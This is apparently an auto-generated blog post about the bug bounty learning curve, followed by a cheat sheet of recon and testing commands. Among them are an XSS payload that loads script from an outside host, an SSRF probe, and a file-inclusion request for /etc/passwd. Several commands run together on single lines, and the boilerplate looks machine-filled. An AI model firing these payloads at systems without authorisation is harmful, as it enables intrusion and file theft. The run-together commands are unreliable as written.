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The bug bounty journey is a rollercoaster of learning, failures, and growth. As the post highlights:
- First Year: Every mistake feels like a major setback.
- After 10 Years: Mistakes still happen, but with experience, you handle them with confidence.
Experience doesn’t eliminate challenges—it teaches you how to navigate them efficiently.
You Should Know:
Essential Bug Bounty Tools & Commands
1. Reconnaissance:
Subdomain Enumeration subfinder -d target.com -o subs.txt assetfinder --subs-only target.com | tee -a subs.txt amass enum -d target.com -o amass_results.txt HTTP Probing httpx -l subs.txt -title -status-code -o live_urls.txt
2. Vulnerability Scanning:
Nikto Scan nikto -h https://target.com Nuclei (Templates-Based Scanning) nuclei -u https://target.com -t ~/nuclei-templates/ SQLi Detection sqlmap -u "https://target.com/page?id=1" --batch --crawl=2
3. Exploitation & Testing:
XSS Testing with XSS Hunter curl -X POST "https://target.com/search?q=<script src=//xss.hunt.it></script>" SSRF Testing ffuf -u "https://target.com/api/fetch?url=http://burpcollaborator.net" -w payloads.txt LFI/RFI Check curl "https://target.com/view?file=../../etc/passwd"
4. Automation with Bash:
Auto-Scan & Report !/bin/bash echo "Running Recon..." subfinder -d $1 -o subs.txt httpx -l subs.txt -o live.txt nuclei -l live.txt -t ~/nuclei-templates/ -o findings.txt
5. Windows Command for Security Testing:
Check Open Ports Test-NetConnection -ComputerName target.com -Port 443 DNS Enumeration nslookup -query=any target.com
What Undercode Say:
Bug bounty hunting is a continuous learning process. The key takeaways:
– Mistakes are inevitable—even seasoned hunters face them.
– Automation is crucial—tools like nuclei, sqlmap, and `ffuf` save time.
– Persistence pays off—each failure is a lesson.
Prediction:
As AI and automation evolve, bug bounty hunting will become more competitive, with tools like AI-driven fuzzers and autonomous scanners dominating the space.
Expected Output:
A structured, actionable guide for bug bounty hunters with verified commands and a growth mindset.
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Reported By: Deepak Saini – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
